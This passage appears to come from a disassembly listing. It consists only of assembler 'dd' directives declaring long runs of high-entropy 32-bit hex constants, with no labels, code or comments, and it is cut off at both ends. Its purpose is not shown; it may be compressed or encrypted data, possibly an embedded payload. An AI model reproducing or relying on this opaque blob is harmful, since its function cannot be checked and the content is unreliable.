86F7EE74h, 54226E27h, 11146AD8h, 0BB0F18E2h dd 0FC68A8B1h, 0E5980073h, 0C8B0294h, 14E00B2Fh, 0B496C902h dd 49DD13ACh, 3C2369F0h, 8CF87209h, 3C0F7017h, 3801FCECh dd 69C2A21Eh, 0A884DC40h, 67603E8h, 4D4392C3h, 0FDC5F051h dd 0FE188705h, 9F537145h, 0F94100DDh, 5F15C28Fh, 3C192384h dd 0ED08B558h, 0A71B2180h, 65402BC2h, 86960638h, 0F4A8D543h dd 8B370C50h, 91681B3Fh, 6530AA00h, 5AC46269h, 183B6054h dd 0C007FF7Bh, 0D9507560h, 37A5851h, 5C43D830h, 930F0DDh dd 6FB12149h, 4B29077Bh, 0D1CBAB7Dh, 83E5E0BCh, 0B4DBA871h dd 3E10CE04h, 39606147h, 0FA14ACDAh, 5AC118C1h, 404E02C3h dd 0F4C06588h, 6268D4D8h, 0E7A15007h, 8B5C88A0h, 0F8E96B26h dd 0CC00C217h, 0FE554586h, 0E1EEC933h, 80FFB858h, 486A073h dd 5F12C28Ah, 0B0EF628Ch, 54BBE8h, 78DBB448h, 0BE1FFA6Dh dd 832EC73Eh, 46AD5E37h, 0A13019D9h, 600739E6h, 8700C556h dd 16E3CAD4h, 298226h, 2261FB73h, 64D66E37h, 5F9CF654h dd 745E5944h, 3451C481h, 0F3718063h, 660077E0h, 937496B8h dd 48C3A836h, 1314AA5Ah, 888AC2Ch, 2F7A59C0h, 226B46D8h dd 70B00067h, 0E11F7F7Bh, 77305B7Dh, 0BEB6484Ch, 37241F03h dd 0C7CD8279h, 57E2BAEFh, 62C15821h, 3006C3F3h, 165B84DCh dd 5C410818h, 6E0C469Bh, 4193A0F1h, 0A8084150h, 415F08E9h dd 0D4944152h, 0A07E02EAh, 75528644h, 276700CFh, 0DCF4E03Eh dd 7700E244h, 0C97FDA88h, 15D82212h, 983B07A3h, 322F5800h dd 552BC05Bh, 1BB90419h, 21804C08h, 0D3322DFAh, 961FACC1h dd 0C71C85AAh, 9585318h, 0C529C03Eh, 75BED758h, 70DFC22Ah dd 0C2A070C8h, 0C4853230h, 0F9382823h, 9C322612h, 50FF5405h dd 8C408C20h, 8028523Bh, 0AC052014h, 0CA2DB784h, 14FF3F14h dd 808004F4h, 0A738D62Dh, 6448A521h, 0C425604Eh, 0E40930Bh dd 0C9A09618h, 0F9DAF086h, 1D3C27F1h, 0FF00AE70h, 0D8C75F87h dd 0A988C158h, 4057C6BCh, 0F7DA3BD0h, 0B2062493h, 0E81E1D5Fh dd 0CF650C95h, 61385658h, 7ED41F00h, 0DCD773ADh, 0FF51C180h dd 4A036Ch, 9204D8EAh, 18BF0484h, 0D85CCE43h, 0AC76D864h dd 9444E44Ch, 0FD385171h, 23882227h, 7A5F030Eh, 5BEAD839h dd 0B6106419h, 7E67A56h, 0AB754A1Fh, 0F79B88F0h, 0A0646004h dd 0A4960B45h, 0C15CF00h, 3F20878Bh, 0C2AD1283h, 399060B1h dd 36520F8Ch, 0D74C10F0h, 0A160C52Ah, 28262104h, 0A04011E2h dd 14912823h, 0C4D6FC40h, 1B414484h, 0B91402EEh, 8450A8C2h dd 9CC57461h, 4C47E028h, 992E057h, 0F498A4B8h, 0D56FF7Ah dd 85E3DA8h, 0C493D83Ah, 75B74066h, 335777Ah, 0F1277961h dd 0C1ECC10Ch, 8ECB404h, 104C4C37h, 28E1539Dh, 2E13B204h dd 0AC4AD7B8h, 0A100F33Bh, 1C6789Bh, 0AA310952h, 1C21FEBCh dd 244CC7DAh, 0CC19ABE8h, 64183CC2h, 3066823h, 31656F75h dd 4D32002h, 48F8F75Fh, 30CD0150h, 59205876h, 373EFC2Ch dd 470B70DFh, 2101025Dh, 0F2C0B470h, 8C60EC49h, 463C9242h dd 7A5D020Ch, 318BD833h, 74B41065h, 0A118057Ah, 40DABB2Eh dd 98CF0874h, 470F6F91h, 818B1E9Ah, 37FFDAEAh, 0E88A0820h dd 4418B039h, 0C801B93Dh, 2ABF9D23h, 0A0242CF9h, 0D4B00D3h dd 4A1F04FBh, 6102E6ACh, 6D48F0CAh, 31E0481Bh, 37890590h dd 9970713Fh, 0FC2EC90h, 11B45F23h, 0A11900F1h, 9BEAC7C2h dd 651D1C18h, 483E13DFh, 63804BA8h, 7578BE41h, 0EA7000D0h dd 1917C0Bh, 6D07FD8Fh, 25AFB3FFh, 624ECD01h, 2F3F9096h dd 0F223D4h, 94979BE4h, 0CF248AC0h, 0A042C027h, 463000F5h dd 0B80E876Eh, 458D36ADh, 98D3FB8Bh, 9E801004h, 1C59004Ah dd 6197C2E2h, 5D3206BFh, 0D847162Fh, 0DE06ADE0h, 938BCF2h dd 4DE858h, 650B7048h, 0E188B930h, 107098D4h, 0DC022A27h dd 5B83DE9Ch, 8DADA840h, 92BA570Bh, 710C2073h, 29294E94h dd 0C020B7A2h, 0B1907ECDh, 0E21E52E4h, 9F3EFB03h, 860F9493h dd 49C0BDABh, 0AAEB1A09h, 0C31233AFh, 2100A708h, 2649D3D6h dd 7EC92D0h, 0F5576A2Ch, 8BA89036h, 0E80697B2h, 8279FE86h dd 9E910030h, 7EC6EE1h, 9519CFE3h, 9908CAFFh, 0D9C12180h dd 8AD63C6Eh, 73231D00h, 71114809h, 51371D7Eh, 0E49E8EDFh dd 0EAA58F3Eh, 80314C05h, 0D8B18DBEh, 5D44091Fh, 138C8540h dd 4F7652h, 683C1C3Fh, 958498D4h, 0C1963230h, 7A75FFF7h dd 3C7D0C81h, 1138ACD9h, 0F0AF4B01h, 0C1A31638h, 68DC883h dd 380091ADh, 404F90A0h, 3F6D52F2h, 0CB8FB95h, 8896CA8Ch dd 48011240h, 7F5816E9h, 388FAC1Ah, 0B73D310Fh, 60FFE0A8h dd 96E811B3h, 9D463800h, 797B58Bh, 0A295301Ch, 3BC20188h dd 0B8D02C37h, 3A07C90h, 7E94A087h, 0AF311413h, 0F707E083h dd 3F2F4F09h, 16BA8C01h, 849102D3h, 0DE60FBC0h, 721E96Eh dd 0D6BEC0CBh, 0D500796Eh, 6788F8E7h, 1504111h, 0DB371AF9h dd 0B15E0C45h, 1586D9E9h, 606ED0D0h, 0EBCB11AFh, 3403E141h dd 2C8AA2E5h, 0C50830D5h, 41E3ED21h, 0D0CDE00h, 9A1FE6C4h dd 1D441901h, 91ABF8C2h, 3800EAE8h, 393C142Ah, 84299BB1h dd 7077086h, 384C0144h, 7C4E3A2Eh, 107ED850h, 0CD22F95h dd 319279ABh, 19120089h, 27324FD1h, 0F10020E7h, 0AC981E3Eh dd 17E38DEh, 3DF71268h, 20EA0E39h, 580A7D34h, 0C4C84004h dd 6F7E4930h, 0E2D1C0B8h, 832F6CDh, 571E2400h, 27171CA7h dd 6094EE37h, 12E490ACh, 7E8F187h, 6F8C7A00h, 0B82C66EDh dd 54A119E7h, 8F65B083h, 0A3B14B61h, 0E0DED30Ch, 310A906Ah dd 14880D56h, 90E618CDh, 0DC551D38h, 0A16E4066h, 6D4420Ch dd 7F996912h, 8D911001h, 0D84CDB0Bh, 0E9048CCEh, 0D534DF41h dd 0EB20C662h, 7641E1h, 18D15AA9h, 9617B840h, 0B0972C2Ah dd 0D00BBA0Dh, 0C85C98BBh, 4D70FFh, 13F2AD46h, 8F6ADA17h dd 5A3E5890h, 0A1AC13ABh, 30FD1422h, 0EB116EE0h, 9788DB07h dd 6ED8C080h, 6ADC6Fh dd 0DE48AA45h, 93B41E36h, 0B9D750C0h, 0DFAF5638h, 0AB040688h dd 18C4A0E6h, 0E414AC02h, 0E9BF6F18h, 0B0005E0h, 0F5A8E7EBh dd 389C4C8Bh, 573FBC67h, 28CFA300h, 0F078115Bh, 808AE624h dd 927B03BCh, 16DCB80Bh, 1A491360h, 0A8416006h, 0F9DF19DDh dd 33F61A0Bh, 0D5D840ECh, 343A49h, 0B6B10A5Ah, 5C36D981h dd 16577E05h, 0DC60D591h, 12E641F0h, 2CA30D34h, 0E800F2B4h dd 4FDA0541h, 48D5C46h, 0D10C086Dh, 1BBA0297h, 67A8A298h dd 6428489Bh, 330C00DDh, 0A9C10959h, 0D107CCA0h, 96ADFC03h dd 57256D60h, 8740989Ch, 67ACC474h, 0A16E0DC3h, 0C6C4CD28h dd 92500011h, 5912FBD3h, 0C8773879h, 204B68C9h, 5135A064h dd 0D670C8FCh, 449E1CEh, 0AC4EC31Ah, 49CED100h, 9AF765D0h dd 79A76601h, 82966910h, 141F1022h, 6F8485A3h, 85A041BAh dd 0F35C986Eh, 0EC82AC90h, 70AF270Fh, 0D9CE6294h, 102CC00Bh dd 48E883B8h, 50C08C22h, 4185D8F2h, 10A960FAh, 0AC1C1392h dd 700928C0h, 44DE9Dh, 967A2888h, 8E8C4E36h, 0DF045C90h dd 0FEF9ABF0h, 4D89E0C8h, 1332E415h, 58902B99h, 0B8B0AAD6h dd 13078D40h, 391490Ch, 841671D0h, 0C50218DEh, 2FEF32EEh dd 9BC4C4Eh, 0CCD00C0Bh, 61AA0800h, 46E886E9h, 48871C2Ch dd 12577D07h, 64ED7770h, 0C3AB0C20h, 0BA88C87Bh, 0A9BF1430h dd 68D53B87h, 422048A4h, 2C499866h, 11E9CC44h, 1B6A021Ch dd 0ED4F8A87h, 0C3994591h, 0E0439F21h, 0DD0ABC5Ch, 9E8A08A0h dd 2833BA02h, 7F6F02C2h, 1EDE84A0h, 30D38A2Ch, 3F7CE010h dd 5F0338BAh, 0FFEC40BEh, 71FF995h, 0F4B1060Eh, 42B9006Ah dd 63902CFh, 0CDC18166h, 0E933180Eh, 0D0D43D0Ch, 1EB115Dh dd 0CCA4F320h, 83713A5Fh, 45B58926h, 1052611Dh, 1C39BD8Bh dd 602742ADh, 70FDE164h, 0A185388Dh, 501B0A31h, 205740E8h dd 89E4C358h, 6646DC97h, 4000211Dh, 903BC350h, 1DB4833Ch dd 53480B5Ah, 8D580320h, 72032D41h, 26BF6650h, 29FA3D04h dd 0A4564450h, 0C35E3937h, 88748911h, 5646801Bh, 4E9D30C3h dd 5900EF7Dh, 0F680DFC0h, 1889517Bh, 5A05CDBDh, 0F85E835Fh dd 0C5103FB8h, 88A58601h, 0BC2D14F0h, 16BC4109h, 79321D8Ch dd 958B435Bh, 720C2C01h, 12D0FF5Ah, 6F175029h, 0C99D1889h dd 8D311010h, 0EC1D6568h, 2B7AE8E0h, 21AD0064h, 84456851h dd 0F80A41Ah, 0B114A38Ah, 0D820681h, 1DF9BD09h, 3AD2E8B0h dd 85792C61h, 8B012FB1h, 0EE14A1F8h, 0F7181CD1h, 5E5C8907h dd 6B928742h, 192540F3h, 5E88030h, 42022FC4h, 590EC581h dd 53882922h, 96C35BC3h, 4429AC56h, 53004318h, 1D4DD7C3h dd 2A8BCC38h, 53450D1h, 93A498BFh, 1BEE1007h, 1012E814h dd 0F31F38h, 0B7F85BB1h, 0BA36A7C4h, 60644001h, 5963065Dh dd 114445C6h, 0C35A8752h, 1C548922h, 0C3524207h, 9A51E3C0h dd 6CCA961h, 3BB748B6h, 0E92D8ACCh, 160B0760h, 15602ACh dd 8DAE6C9Bh, 20FAA9B5h, 0E9305743h, 0F7AF270Bh, 621B00DAh dd 0F363F595h, 5F503A79h, 0A66176AAh, 48B0F31h, 0BA663380h dd 359B3BDh, 2B71951Ah, 0D8478CD4h, 59398C51h, 4C8911C3h dd 41851788h, 0ADC0C351h, 14898054h, 9116318Dh, 15B82790h dd 8F3E288Ch, 8BD144B6h, 384FD048h, 410A209Dh, 0B91020CEh dd 102F2348h, 0F4660E45h, 0E8332995h, 89B35909h, 9BC02FD0h dd 3E640266h, 5FC9BF0Fh, 3953960h, 486AFC88h, 0DF0C8C04h dd 0BD4EBF1Ah, 9488A92h, 2B203690h, 0A6894874h, 6D0FE9C6h dd 0AF5AA000h, 8C9D4E5Bh, 87FA015Fh, 41550EC8h, 80D024DEh dd 6D3EC5ACh, 0F5010519h, 7310B5FFh, 0CDC52A81h, 318F0F36h dd 1AF6206Ah, 15D14591h, 5A674118h, 3BD8EDBEh, 9D09C004h dd 6034D351h, 127D85F8h, 0B7B90EC1h, 61C008BAh, 0F5BD1B83h dd 7581180Fh, 1128809h, 19748330h, 52125350h, 6350D2B8h dd 9D515DDh, 0A79D0ECFh, 0D3E0F8ACh, 2258565Bh, 20871720h dd 0C0A99688h, 758529F9h, 2672B51h, 5D30558Ch, 4389E4C3h dd 5545836Ch, 0E94C88C3h, 0A315C014h, 0A7160F0Ah, 401AE800h dd 4530B784h, 2A5D039Ch, 3263FE6Dh, 8D85C780h, 17C2166h dd 0BCF0833Dh, 2DE70452h, 0B8680028h, 0A0CEE4E7h, 0C31E95F4h dd 3B2485D5h, 147515B4h, 120E1B55h, 80C02F9h, 44B60E50h dd 71C96805h, 19150880h, 75C00B03h, 0B598110Ah, 0D4688008h dd 0AFC005DBh, 30213D40h, 9F54604h, 0B12D3619h, 0BE17469h dd 8BEC7408h, 4B3D864h, 942D250h, 38836605h, 0A1510409h dd 2056662Ah, 0DFE725F1h, 1B911748h, 0FA357305h, 0F7043213h dd 0C35F6157h, 0B17C89C8h, 5747C052h, 62007DC3h, 0F87003D7h dd 13FD2DF2h, 1DDAEA80h, 9163F708h, 0A00108BDh, 8422EBBAh dd 60561F37h, 0F0B9DC31h, 0FA89BE2Ah, 615D7C09h, 0B2690259h dd 261CA405h, 15F30852h, 800EE888h, 686906B3h, 0D0229CDh dd 0A334DB96h, 6860DF79h, 0FD59E95Fh, 0DD9E625Bh, 9660D1Ch dd 0E65B9AA0h, 44A06751h, 0F5406015h, 0C9B52689h, 0C09F2472h dd 92D4B6F8h, 47AD63Dh, 830F65CFh, 39017188h, 34C13185h dd 5088D2E4h, 0A9F10481h, 0C4035D79h, 8808CE71h, 8050C419h dd 8A1C1D1Ah, 0C78142C5h, 75F7E004h, 8184A8D2h, 1FE98029h dd 0A2792420h, 4450E7E3h, 0D4536018h, 0B6C204D9h, 83CAB70Fh dd 0D94CFC8Bh, 6AFA011Eh, 0F98B66FFh, 1DAE8C21h, 1446740Fh dd 0C9B21031h, 246C061Ah, 44C11CC5h, 0A76F530Dh, 0BA01C63Eh dd 58B3F4D8h, 0A20F2350h, 4CBC301Ah, 9F14257Ch, 2C81EA7Bh dd 0CF0994D2h, 0F107A241h, 198A0810h, 0B297C4CBh, 201AC5B8h dd 55F78151h, 2958A403h, 0C857505Fh, 3C6102D1h, 0A7D1723Ch dd 0EA801D03h, 76366C57h, 0A40DF48Bh, 1F5D2094h, 0E781F50Fh dd 7428C631h, 9B885372h, 0AC3016F2h, 6268624Eh, 0FAC61DE9h dd 840A7120h, 78389B53h, 0E822BCF7h, 4EE30011h, 39C81815h dd 0AB0066D8h, 736421D6h, 1DBAFDAh, 0C7E6803Fh, 5894B65Fh dd 2866B289h, 58FABA8h, 0C797EAB9h, 67830817h, 324922B1h dd 91FA6542h, 0B2603161h, 49ED9914h, 0A5D0807h, 31A346B7h dd 0A9C28103h, 2C710C60h, 0C8125A66h, 0A29122Bh, 0C92B026Ah dd 1A11D91Dh, 4FBCBB80h, 760E35C0h, 0AB8D3120h, 0FB59900Ch dd 0B9B80C66h, 0A7AA61CAh, 1F99518Ah, 6E0840ABh, 5ABAD0F8h dd 892A110Ch, 8975C069h, 504A9666h, 1EB5DB05h, 0C021F529h dd 510F690Ah, 22DC0F60h, 61F0B510h, 15E1850Ch, 5D912924h dd 818874B7h, 0F50C88Bh, 6AA9328Ah, 3F239966h, 8AD80225h dd 603E9064h, 8BAE03B9h, 0AE97FFCh, 2AC94507h, 6B43C491h dd 8404A9EAh, 209B8D52h, 1458D29h, 143848A1h, 0C0BAFA1Ch dd 0D16E9150h, 39B9181Dh, 75815CB2h, 9599B80Eh, 726549DAh dd 14A50097h, 0E194C4D6h, 0F783006Dh, 0D50A814Eh, 74A456F6h dd 24272B48h, 9F444616h, 68F88B41h, 42087504h, 6BA229D2h dd 5000F62Fh, 0B665753h, 5A8781BAh, 0F7335522h, 50CBFC90h dd 536F20C6h, 320D2078h, 15B15102h, 0C2C08559h, 1D330B3h dd 0C215B905h, 292A1485h, 1BE9F884h, 806000D0h, 40566DEDh dd 6140967Ch, 8841E72Ch, 4570EBBAh, 0B32C795Ch, 0C7098777h dd 601A44D4h, 265DDCEh, 0F9684534h, 3C728F0Fh, 9365148h dd 0C17010D1h, 0F22CC24h, 0FB99D08h, 14B1E905h, 1623403Ah dd 6591CD04h, 122D8C81h dd 3122B233h, 83E95A29h, 15294B28h, 0B71AEC04h, 0E0FFCD91h dd 0C5EFD5DDh, 20D8A30Eh, 810F8466h, 0A4E9A8E4h, 59DB01F2h dd 2869C60Dh, 19B6F350h, 0A03D3107h, 3C007A67h, 121B2913h dd 62CC52EBh, 2859573Ah, 3668803Eh, 0E0778C35h, 0EA190179h dd 1C12FF7h, 0CDBBCC69h, 5A4863F2h, 0D68B1243h, 44840928h dd 0CA318017h, 0F7556A1Fh, 0D3DDA22h, 41F3E940h, 24BC114h dd 3402293Eh, 0FB11028Eh, 0F9451EB9h, 0B60E4086h, 564C5033h dd 0C87D2A13h, 0CBBDAB81h, 69920F50h, 8A2B40h, 10C483EFh dd 4428E281h, 0C08B92A0h, 81E852h, 0F6049BEEh, 9E067h dd 51F573D5h, 0C07F17D4h, 0D3028577h, 0BD3392BEh, 9691D219h dd 0D3477C3Ah, 865EF8F7h, 0C8B00ECh, 0E177E323h, 0D100576Eh dd 408328F0h, 5B6897h, 4C7B721h, 0BD03A6B6h, 1A319927h dd 119B9754h, 188F8515h, 44BD77C2h, 726F0982h, 12046165h dd 0C4504DB6h, 5A6F26C7h, 6C0EEC86h, 8479F743h, 0EA80EC8Ch dd 852AC60Ch, 4402C905h, 0A3184F68h, 0A5087196h, 0D88B23B8h dd 0D3492CACh, 4A699EDDh, 748978ABh, 0EB713108h, 5B3E6594h dd 4A9B10ACh, 4D3CF478h, 94127F87h, 0C980823h, 0FF8226BBh dd 0F0E1BD62h, 605B9655h, 37157BBAh, 53A7064h, 0F1F9BF40h dd 6B9C3345h, 8D9D2941h, 718737A5h, 1F5B460Fh, 7BF282C2h dd 6C7A7113h, 1252457Eh, 0AAEB28BDh, 46749DB4h, 6C79001Bh dd 3B9B2384h, 4D3558DEh, 141A9110h, 7B7F68E9h, 3E2485A7h dd 0C530F509h, 3D84884Ah, 59B52982h, 16598513h, 9589FC41h dd 6D911EA1h, 34602C32h, 982D7108h, 917A1913h, 3A9BF417h dd 20D1F100h, 1C6B6D99h, 0C28610AEh, 6138FCC5h, 6E31908Bh dd 12E073F8h, 68913125h, 8C04F62Bh, 0D7013C9Ah, 810D02ADh dd 0CD63BF4Fh, 17A53B88h, 801891F6h, 0FEC5A0ABh, 64E8B18Bh dd 0CC504916h, 27C881B1h, 0F6108A62h, 0DA800F10h, 466055Bh dd 5AE136A4h, 0EE845912h, 48922831h, 8FD4FCA4h, 4C2FD4E4h dd 8C14E8DFh, 47FCE55Fh, 0D220C48Eh, 0E7CF1BCDh, 0C1E1A000h dd 0E6BF66C3h, 9D4AC24Ch, 8A922E25h, 0AB1B30Eh, 0AC898529h dd 0C23F688Ah, 0F0BF0432h, 0F1810384h, 22BC3CCDh, 2DA81041h dd 2DFA5107h, 45995C3Eh, 41374B4h, 0FB8A378Bh, 91AFD468h dd 0C5B50143h, 85C80503h, 0A16300C3h, 2FC22879h, 0F80249A2h dd 82192165h, 0D9A7F10Fh, 987B1814h, 0B0D20566h, 0F36A2E56h dd 8A6A7830h, 51F5A9Eh, 64C07EAEh, 343FD063h, 0E11A7DEAh dd 0CA050276h, 8DB1C06Ch, 0DBE3E780h, 16D62C3h, 9E75C9C6h dd 616E20D0h, 1424249h, 84496A07h, 105BA10Ah, 0ACE5834h dd 68C8C203h, 870C49FFh, 5B23C109h, 4B453196h, 12899A42h dd 2D41ABF8h, 920C6170h, 0BEDE99F6h, 0E83CC700h, 0EBC2CC59h dd 0A60E3B07h, 0E100B598h, 0DDF4FA1h, 25E9D855h, 901E1733h dd 0B8C33935h, 0EC10F403h, 8075F39Fh, 64038A1h, 0A24645F2h dd 0E24E7A3Ah, 1359C221h, 4D952910h, 0FA8BA3C7h, 0FFEA8091h dd 94AFAB60h, 0EF1CF66Fh, 4E419582h, 10D96277h, 0C011BE45h dd 65125F9Ch, 0D58004D0h, 115C9102h, 53521432h, 59F81CC8h dd 19A4E94Dh, 57F6E2Ah, 570C1C1Fh, 886BE301h, 5C207201h dd 75B35385h, 0B8301BB2h, 32FA13D0h, 39270A51h, 0CFB3139Eh dd 0C21488CBh, 1D566095h, 17B1004Fh, 2A03A792h, 4CD7ED85h dd 8922055Eh, 2DA76151h, 0A9EC7DF3h, 0B0195B8Ah, 0D31FCAFEh dd 106A1814h, 12CD1680h, 89629D3Ch, 80623C60h, 0D9F8DDF3h dd 9F561CAEh, 0D31900BDh, 96F480C2h, 10E96118h, 7901DF2Bh dd 0E134001Fh, 0F8D30F8Dh, 62093B7Fh, 39A47975h, 0B100D89h dd 0F90755B6h, 2B351FF5h, 0C89915D1h, 48288491h, 93AAC059h dd 3D08B2CDh, 4F74D09h, 2F6E49C0h, 1075B8BEh, 83561621h dd 0D08A0F12h, 50FEB133h, 0C58D3313h, 7F298585h, 23B22B2Ah dd 0FDDC0516h, 0A7CA09A8h, 1A91051Fh, 0D11C7280h, 0B2268F4Fh dd 0D31449C2h, 386090E9h, 9C63C9FCh, 1E1286AEh, 8080D8E2h dd 432EFDB2h, 0EE1A5601h, 0D1EF6128h, 0B9578105h, 7581042Fh dd 7E31FBEAh, 6F2B6649h, 6F570289h, 84DB1386h, 1429F87h dd 0E7502985h, 0B62B688Ch, 0F7293CDEh, 5C181D71h, 0A1D79007h dd 82018065h, 4030A630h, 0AC92B215h, 60989998h, 6A717CB9h dd 4674EDBEh, 4CDF4916h, 9F110FCh, 2380681Ah, 141CABC1h dd 23004DB2h, 36755144h, 1900C8F8h, 0DC72568Bh, 76B162Bh dd 526033F9h, 5A613063h, 6E90036Ah, 0E1142545h, 0B90949ADh dd 9A49FB02h, 88DD4EC0h, 17AEC514h, 9B4F16C3h, 692DC098h dd 24057DC5h, 1332EE7Fh, 0E34C52D9h, 0AC75064h, 7C32E989h dd 0F11E784Ch, 4FE4253Fh, 571F0365h, 0DF5A04C3h, 0C9B999A4h dd 13AD9509h, 0C046592h, 0F765C302h, 4F8BB26h, 5B243B04h dd 0B7E06CC7h, 2E0B50DEh, 930CD595h, 0D0A80B5Eh, 30D13E06h dd 5E1E8E20h, 469640E9h, 72E251FBh, 4883F000h, 0B3A0C9EBh dd 1FEF0CCFh, 8B42D50Fh, 5CF9FE5Ch, 78DE83EEh, 83F298EEh dd 0ABB42552h, 8A52410h, 0DAE69DF8h, 75373605h, 95CCB63Ch dd 55B8010Ah, 972C7A4Bh, 0F8A8285Fh, 0D8E48FD8h, 0C019C82Fh dd 8F20F7F5h, 8129FD07h, 3721EDFh, 584C664h, 0BC4EB95h dd 0E9E28082h, 1B722372h, 0E25F5A34h, 1C88D58Eh, 58E8B5C0h dd 4B8B003Ch, 8062A5A0h, 0C6944FF6h, 26828944h, 6159762Eh dd 53138F7h, 8B9A181h, 60C1C829h, 2B11B589h, 0F1E9640Fh dd 15BA2D00h, 615B8BACh, 50C23D98h, 501F52F2h, 0F9B791D0h dd 6D21819h, 0B7CFEB56h, 0A5209A95h, 2863B91Ch, 27B52CC2h dd 143A79F8h, 0D0F922C2h, 2CD39BB2h, 10323E3Ah, 0FDD94DD5h dd 941819F1h, 0B0B1F201h, 0D48A48A1h, 9737D065h, 0FC6D90F0h dd 28052EE0h, 605038B2h, 5571BE32h, 8101DCDAh, 0C06AC2D0h dd 0F9666175h, 96ED9C40h, 8FA745B1h, 0C019C844h, 0F7CF2B83h dd 0D3EFFA2Ch, 1D8182C9h, 94700920h, 20C21241h, 0DFD9D29h dd 39D0D4A4h, 18284D4h, 91109A10h, 4D2C4CF8h, 94678561h dd 8D89801Fh, 980FD025h, 80697449h, 3FA0F61h, 496912BEh dd 0C166C881h, 42458940h, 62AB2A25h, 42A26D59h, 0C1810118h dd 22442AC4h, 6604B466h, 8D55CDBAh, 0AAA54047h, 184BA23Dh dd 2460AB68h, 2947EB1h, 61031AE7h, 0FCA74A4Ch, 0DA601744h dd 2048660Fh, 275D1169h, 9F454C27h, 0C5BD2302h, 179F0A01h dd 589354CDh, 0DAFF00ABh, 9FBAAF13h, 860F13B1h, 0EBFE70Ch dd 220A224h, 895C7C62h, 0BD7482E8h, 15130A15h, 6125EEADh dd 0CAB55C3Ah, 9AE9A681h, 4CC6F8C6h, 400A977Eh, 0BD88CC60h dd 0F304AD20h, 86323DD8h, 0DB011482h, 91CC08E2h, 0BA03A350h dd 4E98E7Ch, 0C69EDCA8h, 7C1B7353h, 81BED200h, 80D5C8EFh dd 1725934Eh, 1BE50829h, 0F6C8E907h, 22312CFEh, 0D580800Ch dd 8BCD3C4Bh, 16CF8A84h, 18BD0E70h, 2AB53128h, 1FEF14ADh dd 2530E985h, 21E074EDh, 2CFA8BFDh, 805C66E9h, 8DFBBF0Fh dd 0D492B1B5h, 49DB2B58h, 8F8C4FA2h, 98F10181h, 8A7DA45Ch dd 392071D0h, 9F13D627h, 1BF26CE3h, 1D4B7C30h, 44D906A3h dd 0FCFCD11Dh, 8D23C273h, 0F187A9BDh, 791907EEh, 0AA9200F0h dd 1603A8DBh, 0F38BA0BAh, 19F588BFh, 0BD030A2Dh, 0CB6B2021h dd 4A5F9918h, 6A075B71h, 3F11C92h, 701F8A50h, 82351004h dd 69BF0313h, 0A3A378Bh dd 87C280E0h, 0B9F4851h, 0A64805D5h, 84B9FEB6h, 0C81FD9F9h dd 48B376D9h, 9FB858h, 0D95596AFh, 51BF2E61h, 0C5958913h dd 1593B49h, 7A91EF64h, 8D01D084h, 50CED2EDh, 9C70965Bh dd 5D631F9Fh, 41F24ED7h, 0D88B3DA1h, 0C9D88A53h, 38EB724h dd 434E5F89h, 3806BB50h, 0A219520h, 0CB445B9Dh, 5D988F0Fh dd 4F124271h, 9FC46120h, 8E8F00DBh, 2FEBF6E0h, 0EF002475h dd 0C92E63DAh, 5A74422Dh, 0FA98C23h, 185B66EDh, 0CD6250CFh dd 2860890Bh, 8C17BC42h, 11A84C0Ch, 41614E08h, 0FA629A1Dh dd 61841280h, 301510B4h, 46DD8992h, 0EA018A7Eh, 154BDE59h dd 454B5093h, 22C01D88h, 30FC85Eh, 43EF03E4h, 4A5C7061h dd 36738087h, 0B0944ADEh, 16B92061h, 89265961h, 317CB1BDh dd 124E6838h, 0E98F04C9h, 0ACC21321h, 68F0D4F9h, 0F0C62DA5h dd 0F6020C2h, 0EECD728Ch, 0FC521D61h, 38CE275Bh, 1B717F99h dd 260F1718h, 5718891h, 2882F743h, 32BBA99Dh, 0FE7A20D1h dd 3A40B5D8h, 811189C9h, 6CF462Ch, 1EF1BD31h, 18400BC3h dd 0B182DDB1h, 8130215Dh, 0E29E0BF2h, 3E967FC4h, 9805244h dd 8C3D10D9h, 8F20DFC4h, 43AD9C01h, 0D80039E0h, 6F729BACh dd 0E69749ABh, 0AD8D312Bh, 683AE9A9h, 629EA7h, 6A44E66Dh dd 0E8B8F225h, 98806CB4h, 1CAE7C9h, 0D56005Ch, 0F30B638Dh dd 894C29A1h, 0CCC23802h, 3D610A2Ah, 40914F98h, 0D58A6000h dd 0D68B61FCh, 0E4697B9Ch, 1771009Fh, 108C4052h, 0FC0111B4h dd 1CF39844h, 0C8315180h, 7100E023h, 0A9A173C1h, 0A0609DDAh dd 3AEB03C2h, 1E1213F5h, 89958C81h, 164AC9EEh, 59BDC6C8h dd 0F0A7BE1h, 3B590982h, 0C492E749h, 0B87CC798h, 0D7133EACh dd 0C611F23Fh, 42C6F80Bh, 33F8E40Bh, 2395B517h, 0C627C021h dd 425A91C8h, 0C781C980h, 0C572FE8h, 1D1F0EBh, 0F8044893h dd 5E889D89h, 0E40952E9h, 0F6B96602h, 3844E83Fh, 1A9F7D0Eh dd 9B4A61EDh, 5BC84320h, 0EB800179h, 0E9615865h, 72DA424h dd 2DE5411Bh, 1660196h, 0F1322976h, 210B7511h, 605A5156h dd 0DD509556h, 0F25C140Fh, 40EF4AB4h, 120C2CDFh, 8E0038EFh dd 24CBB0BBh, 50428B75h, 13BA8632h, 0CFCE67FFh, 0FEDDC856h dd 0EDB5DD43h, 0FEA81Ch, 0E847E9BDh, 14E402BAh, 3F08F75Ah dd 0F2800515h, 0EEA28Ch, 0D2F68981h, 48BD17h, 0D8AE0395h dd 4A34B445h, 8ED40204h, 64F09ADFh, 0C1BD3029h, 242E9B5h dd 0C59CA3BDh, 85CB082Ch, 3F28FE99h, 0C9316520h, 0CAAA91EEh dd 0DA81021Bh, 14312F3h, 0D24506Ah, 884F5F11h, 560053FDh dd 7A760F6Ah, 0F160DA9h, 361E4195h, 4F8B20A1h, 61042AF9h dd 0BF00FCA1h, 71E1BC6Ch, 452F404Ah, 3C001D23h, 4ABAE062h dd 0E3BD0028h, 0BF663DE9h, 65A4E8A8h, 0F24B3B9Fh, 346A0304h dd 0DCE19226h, 91FCC1A7h, 234C4A63h, 511BB910h, 0ED62D27Dh dd 66805ADCh, 0C3F6DB8Ch, 3440BC04h, 0C035BC19h, 0B8526856h dd 859C47A8h, 0B582046Ah, 64ED0E10h, 0CA7EF781h, 2D080141h dd 9B680447h, 79EC18ACh, 0A4F09E24h, 684F071Eh, 0BB2F2661h dd 796AA37Bh, 537D6038h, 0C256286Ah, 75C08518h, 68417598h dd 8764980Bh, 0E5CD7BDBh, 4C68701Dh, 0E772A468h, 82208056h dd 2F049D8Bh, 82D25BCEh, 54AE0933h, 0C7841515h, 763CE903h dd 0C40C4327h, 3D9D3420h, 0B1AB816Dh, 0AB6A1804h, 34534302h dd 2891B529h, 